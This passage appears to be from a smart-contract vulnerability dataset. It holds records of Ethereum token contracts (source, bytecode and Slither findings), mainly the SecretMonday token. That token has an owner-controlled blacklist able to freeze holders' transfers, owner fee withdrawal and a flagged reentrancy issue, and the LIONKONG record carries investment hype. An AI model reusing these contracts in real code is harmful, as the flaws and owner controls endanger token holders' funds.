f3a9181900360600190a1600755565b60075481565b600054600160a060020a03163314610da5576040805160e560020a62461bcd02815260206004820152601a60248201526000805160206117db833981519152604482015290519081900360640190fd5b60008111610db257600080fd5b600654604080513381526020810192909252818101839052517f8ae0e61822edff221254180af03860acd3f6e695b001c1e62094fcd62665b4349181900360600190a16006819055600202601155565b600054600160a060020a03163314610e52576040805160e560020a62461bcd02815260206004820152601a60248201526000805160206117db833981519152604482015290519081900360640190fd5b600054600160a060020a0382811691161415610e6d57600080fd5b60408051338152600160a060020a038316602082015260608183018190526019908201527f56696f6c6174696e672072656665727265722062616e6e656400000000000000608082015290517f0dfcf67de70048b98d859314432f1a4b5c3e284f4457fcfda84863efd450573f9181900360a00190a1600180546000908152600d60209081526040808320600160a060020a0395861684529091528120600301805460ff19169092179091555460108054600160a060020a03191691909216179055565b60055481565b60045481565b60095481565b600054600160a060020a03163314610f93576040805160e560020a62461bcd02815260206004820152601a60248201526000805160206117db833981519152604482015290519081900360640190fd5b600081118015610fa4575060058111155b1515610faf57600080fd5b600554604080513381526020810192909252818101839052517f28de04f7d61195760c69dda0db7c42c79e3c1accb013e4ea40a9c61b5989b64b9181900360600190a1600555565b600054600160a060020a03163314611047576040805160e560020a62461bcd02815260206004820152601a60248201526000805160206117db833981519152604482015290519081900360640190fd5b6000811180156110585750600a8111155b151561106357600080fd5b600254604080513381526020810192909252818101839052517f3143545d9429548974bef51eed9639e1a9c0318d89198054aa8701e5a376c18a9181900360600190a1600255565b600b5481565b600054600160a060020a031681565b6011805460001901908190556006546000918291908115156110de57fe5b0615156111cc5760035460649034020491506006546011548115156110ff57fe5b04905033600f826002811061111057fe5b0154600160a060020a03161480159061114b5750600054600160a060020a0316600f826002811061113d57fe5b0154600160a060020a031614155b156111cc577fe209ea1f3b3b7b86c6bd7b5c600995b10c9ab10157f7d768b3130e233c9908ad33600f836002811061117f57fe5b015460408051600160a060020a039384168152929091166020830152818101859052519081900360600190a16111cc600f82600281106111bb57fe5b0154600160a060020a0316836114df565b60115415156111df576006546002026011555b5050565b600080606460045434028115156111f657fe5b6001546000818152600e60209081526040808320338452825280832054938352600d8252808320600160a060020a0390941680845293909152902060030154929091049350915060ff1615156111df57600054600160a060020a0382811691161461128a576001546000908152600d60209081526040808320600160a060020a038516845290915290206002018054830190555b60408051338152600160a060020a038316602082015280820184905290517f32dc6b7c48daffc4ffb9b2efe311db4c7e48a0d848cf463d68713c0678570d8f9181900360600190a16112db816115c3565b6111df81836114df565b6001546000908152600d6020908152604080832033845290915281205481908190819081901561138557600180546000908152600d602090815260408083203384529091529020805491015460055491965094504385900393506064908602049150600a5483830281151561135657fe5b0490506064600254820281151561136957fe5b600b805492909104909101905561138033826114df565b6113d2565b34156113d257600980546001019081905560408051338152602081019290925280517fc8616cf56c542aa2540734215ee474180fc3b9cc7c2fad288000504632cacf189281900390910190a15b5050600180546000908152600d60208181526040808420338086529083528185204390870155945484529181528183209383529290925220805434019055505050565b6001546000908152600d60209081526040808320600160a060020a038581168552925280832054600f549092168352909120548111156111df57600f8054600160a060020a038416600160a060020a0319909116811790915560408051918252602082018390526060828201819052601c908301527f436f6e677261747321204e657720476f6c6420496e766573746f7221000000006080830152517f6a162376ade864782a5527549500322471afab3d60d245fed9da8a9be07a0bb99181900360a00190a15050565b600054600160a060020a038381169116141561150257600b8054820190556111df565b662386f26fc0ffff1930310181111561158d57600c5460ff161561152e57600054600160a060020a0316ff5b60015460408051338152602081018490523031818301526060810192909252517f1b90fcb50bb97aaa8537c9c9adad63b4eb0bb4d95cf78373c8553a1cf6aa1c2f9181900360800190a16115806116e7565b60018054810190556111df565b604051600160a060020a0383169082156108fc029083906000818181858888f19350505050158015610b99573d6000803e3d6000fd5b600080548190600160a060020a0384811691161480159061160d57506001546000908152600d60209081526040808320600160a060020a038716845290915290206003015460ff16155b15610b995750506001546000908152600d60209081526040808320600160a060020a0385811685529252808320600290810154601054909316845292209091015480821115610b995760108054600160a060020a038516600160a060020a0319909116811790915560408051918252602082018490526060828201819052601c908301527f436f6e677261747321204e657720476f6c6420526566657272657221000000006080830152517f6a162376ade864782a5527549500322471afab3d60d245fed9da8a9be07a0bb99181900360a00190a1505050565b600360028181558180556004918255600591825560069190915566b1a2bc2ec50000600755670214e8348c4f00006008556000600981905561170c600a55604080518082019091529054600160a060020a0316808252602082015261174f91600f919061175b565b50600654600202601155565b82600281019282156117a3579160200282015b828111156117a35782518254600160a060020a031916600160a060020a0390911617825560209092019160019091019061176e565b506117af9291506117b3565b5090565b6117d791905b808211156117af578054600160a060020a03191681556001016117b9565b905600756e617574686f72697a65642066756e6374696f6e2063616c6c000000000000a165627a7a723058202ebf2c322551a093e750e11d7a6d5d594739271d55f875dd217f0bae8f1b79e60029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 4,448 |
0x9aaa3dad892a9277f8931a6449223ab6c64cba85
|
// SPDX-License-Identifier: UNLICENSED
/*
Welcome to SecretMonday! ($SMON)
The sell tax will be raised to 17% to avoid the situation of jeets selling our token at the early stage of our launch.
The sell tax will be gradually decrease 3% per hour until it reaches 4%.
Telegram
@secretmondayERC20
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SECRETMONDAY is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "SecretMonday";
string private constant _symbol = "$SMON";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x8741974A05e222AB271E994A3E5aaFa69959ad4d);
_buyTax = 12;
_sellTax = 17;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint burnAmount = contractTokenBalance/4;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 500000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 500000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 17) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 12) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034a578063c3c8cd801461036a578063c9567bf91461037f578063dbe8272c14610394578063dc1052e2146103b4578063dd62ed3e146103d457600080fd5b8063715018a6146102aa5780638da5cb5b146102bf57806395d89b41146102e75780639e78fb4f14610315578063a9059cbb1461032a57600080fd5b8063273123b7116100f2578063273123b714610219578063313ce5671461023957806346df33b7146102555780636fc3eaec1461027557806370a082311461028a57600080fd5b806306fdde031461013a578063095ea7b31461018157806318160ddd146101b15780631bbae6e0146101d757806323b872dd146101f957600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600c81526b5365637265744d6f6e64617960a01b60208201525b604051610178919061196f565b60405180910390f35b34801561018d57600080fd5b506101a161019c366004611800565b61041a565b6040519015158152602001610178565b3480156101bd57600080fd5b50683635c9adc5dea000005b604051908152602001610178565b3480156101e357600080fd5b506101f76101f236600461192a565b610431565b005b34801561020557600080fd5b506101a16102143660046117c0565b61047e565b34801561022557600080fd5b506101f7610234366004611750565b6104e7565b34801561024557600080fd5b5060405160098152602001610178565b34801561026157600080fd5b506101f76102703660046118f2565b610532565b34801561028157600080fd5b506101f761057a565b34801561029657600080fd5b506101c96102a5366004611750565b6105ae565b3480156102b657600080fd5b506101f76105d0565b3480156102cb57600080fd5b506000546040516001600160a01b039091168152602001610178565b3480156102f357600080fd5b506040805180820190915260058152641229a6a7a760d91b602082015261016b565b34801561032157600080fd5b506101f7610644565b34801561033657600080fd5b506101a1610345366004611800565b610883565b34801561035657600080fd5b506101f761036536600461182b565b610890565b34801561037657600080fd5b506101f7610934565b34801561038b57600080fd5b506101f7610974565b3480156103a057600080fd5b506101f76103af36600461192a565b610b3d565b3480156103c057600080fd5b506101f76103cf36600461192a565b610b75565b3480156103e057600080fd5b506101c96103ef366004611788565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610427338484610bad565b5060015b92915050565b6000546001600160a01b031633146104645760405162461bcd60e51b815260040161045b906119c2565b60405180910390fd5b681b1ae4d6e2ef50000081111561047b5760108190555b50565b600061048b848484610cd1565b6104dd84336104d885604051806060016040528060288152602001611b40602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611006565b610bad565b5060019392505050565b6000546001600160a01b031633146105115760405162461bcd60e51b815260040161045b906119c2565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461055c5760405162461bcd60e51b815260040161045b906119c2565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105a45760405162461bcd60e51b815260040161045b906119c2565b4761047b81611040565b6001600160a01b03811660009081526002602052604081205461042b9061107a565b6000546001600160a01b031633146105fa5760405162461bcd60e51b815260040161045b906119c2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066e5760405162461bcd60e51b815260040161045b906119c2565b600f54600160a01b900460ff16156106c85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045b565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072857600080fd5b505afa15801561073c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610760919061176c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a857600080fd5b505afa1580156107bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e0919061176c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082857600080fd5b505af115801561083c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610860919061176c565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610427338484610cd1565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161045b906119c2565b60005b8151811015610930576001600660008484815181106108ec57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092881611ad5565b9150506108bd565b5050565b6000546001600160a01b0316331461095e5760405162461bcd60e51b815260040161045b906119c2565b6000610969306105ae565b905061047b816110fe565b6000546001600160a01b0316331461099e5760405162461bcd60e51b815260040161045b906119c2565b600e546109bf9030906001600160a01b0316683635c9adc5dea00000610bad565b600e546001600160a01b031663f305d71947306109db816105ae565b6000806109f06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a5357600080fd5b505af1158015610a67573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8c9190611942565b5050600f8054681b1ae4d6e2ef50000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b0557600080fd5b505af1158015610b19573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047b919061190e565b6000546001600160a01b03163314610b675760405162461bcd60e51b815260040161045b906119c2565b601181101561047b57600b55565b6000546001600160a01b03163314610b9f5760405162461bcd60e51b815260040161045b906119c2565b600c81101561047b57600c55565b6001600160a01b038316610c0f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045b565b6001600160a01b038216610c705760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d355760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045b565b6001600160a01b038216610d975760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045b565b60008111610df95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045b565b6001600160a01b03831660009081526006602052604090205460ff1615610e1f57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e6157506001600160a01b03821660009081526005602052604090205460ff16155b15610ff6576000600955600c54600a55600f546001600160a01b038481169116148015610e9c5750600e546001600160a01b03838116911614155b8015610ec157506001600160a01b03821660009081526005602052604090205460ff16155b8015610ed65750600f54600160b81b900460ff165b15610f03576000610ee6836105ae565b601054909150610ef683836112a3565b1115610f0157600080fd5b505b600f546001600160a01b038381169116148015610f2e5750600e546001600160a01b03848116911614155b8015610f5357506001600160a01b03831660009081526005602052604090205460ff16155b15610f64576000600955600b54600a555b6000610f6f306105ae565b600f54909150600160a81b900460ff16158015610f9a5750600f546001600160a01b03858116911614155b8015610faf5750600f54600160b01b900460ff165b15610ff4576000610fc1600483611a7f565b9050610fcd8183611abe565b9150610fd881611302565b610fe1826110fe565b478015610ff157610ff147611040565b50505b505b611001838383611338565b505050565b6000818484111561102a5760405162461bcd60e51b815260040161045b919061196f565b5060006110378486611abe565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610930573d6000803e3d6000fd5b60006007548211156110e15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161045b565b60006110eb611343565b90506110f78382611366565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061115457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111a857600080fd5b505afa1580156111bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111e0919061176c565b8160018151811061120157634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112279130911684610bad565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112609085906000908690309042906004016119f7565b600060405180830381600087803b15801561127a57600080fd5b505af115801561128e573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112b08385611a67565b9050838110156110f75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045b565b600f805460ff60a81b1916600160a81b1790558015611328576113283061dead83610cd1565b50600f805460ff60a81b19169055565b6110018383836113a8565b600080600061135061149f565b909250905061135f8282611366565b9250505090565b60006110f783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114e1565b6000806000806000806113ba8761150f565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113ec908761156c565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461141b90866112a3565b6001600160a01b03891660009081526002602052604090205561143d816115ae565b61144784836115f8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161148c91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006114bb8282611366565b8210156114d857505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836115025760405162461bcd60e51b815260040161045b919061196f565b5060006110378486611a7f565b600080600080600080600080600061152c8a600954600a5461161c565b925092509250600061153c611343565b9050600080600061154f8e878787611671565b919e509c509a509598509396509194505050505091939550919395565b60006110f783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611006565b60006115b8611343565b905060006115c683836116c1565b306000908152600260205260409020549091506115e390826112a3565b30600090815260026020526040902055505050565b600754611605908361156c565b60075560085461161590826112a3565b6008555050565b6000808080611636606461163089896116c1565b90611366565b9050600061164960646116308a896116c1565b905060006116618261165b8b8661156c565b9061156c565b9992985090965090945050505050565b600080808061168088866116c1565b9050600061168e88876116c1565b9050600061169c88886116c1565b905060006116ae8261165b868661156c565b939b939a50919850919650505050505050565b6000826116d05750600061042b565b60006116dc8385611a9f565b9050826116e98583611a7f565b146110f75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045b565b803561174b81611b1c565b919050565b600060208284031215611761578081fd5b81356110f781611b1c565b60006020828403121561177d578081fd5b81516110f781611b1c565b6000806040838503121561179a578081fd5b82356117a581611b1c565b915060208301356117b581611b1c565b809150509250929050565b6000806000606084860312156117d4578081fd5b83356117df81611b1c565b925060208401356117ef81611b1c565b929592945050506040919091013590565b60008060408385031215611812578182fd5b823561181d81611b1c565b946020939093013593505050565b6000602080838503121561183d578182fd5b823567ffffffffffffffff80821115611854578384fd5b818501915085601f830112611867578384fd5b81358181111561187957611879611b06565b8060051b604051601f19603f8301168101818110858211171561189e5761189e611b06565b604052828152858101935084860182860187018a10156118bc578788fd5b8795505b838610156118e5576118d181611740565b8552600195909501949386019386016118c0565b5098975050505050505050565b600060208284031215611903578081fd5b81356110f781611b31565b60006020828403121561191f578081fd5b81516110f781611b31565b60006020828403121561193b578081fd5b5035919050565b600080600060608486031215611956578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561199b5785810183015185820160400152820161197f565b818111156119ac5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a465784516001600160a01b031683529383019391830191600101611a21565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a7a57611a7a611af0565b500190565b600082611a9a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ab957611ab9611af0565b500290565b600082821015611ad057611ad0611af0565b500390565b6000600019821415611ae957611ae9611af0565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461047b57600080fd5b801515811461047b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220720963ac54383481aa65a4e7235942e6304093943f0bfa6bc3ef99129852322764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,449 |
0x74cfFeADE216fC7F4B5da950b2DAfA5210BF81CE
|
/**
*Submitted for verification at Etherscan.io on 2022-03-15
*/
/*
🦍 LIONKONG is an ERC-20 Token that seeks to rewards it's holders.
A community driven token, willing to offer it's investors the safety of investing in a project.
Just like the king of the jungle, LIONKONG is going to rule the Ethereum Space thanks to our amazing utility and vision... You will achieve financial-freedom.
██╗░░░░░██╗░█████╗░███╗░░██╗██╗░░██╗░█████╗░███╗░░██╗░██████╗░
██║░░░░░██║██╔══██╗████╗░██║██║░██╔╝██╔══██╗████╗░██║██╔════╝░
██║░░░░░██║██║░░██║██╔██╗██║█████═╝░██║░░██║██╔██╗██║██║░░██╗░
██║░░░░░██║██║░░██║██║╚████║██╔═██╗░██║░░██║██║╚████║██║░░╚██╗
███████╗██║╚█████╔╝██║░╚███║██║░╚██╗╚█████╔╝██║░╚███║╚██████╔╝
╚══════╝╚═╝░╚════╝░╚═╝░░╚══╝╚═╝░░╚═╝░╚════╝░╚═╝░░╚══╝░╚═════╝░
- Telegram: https://t.me/LIONKONGeth
- Website: https://lionkongeth.com
- Twitter: https://twitter.com/LIONKONGEth
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
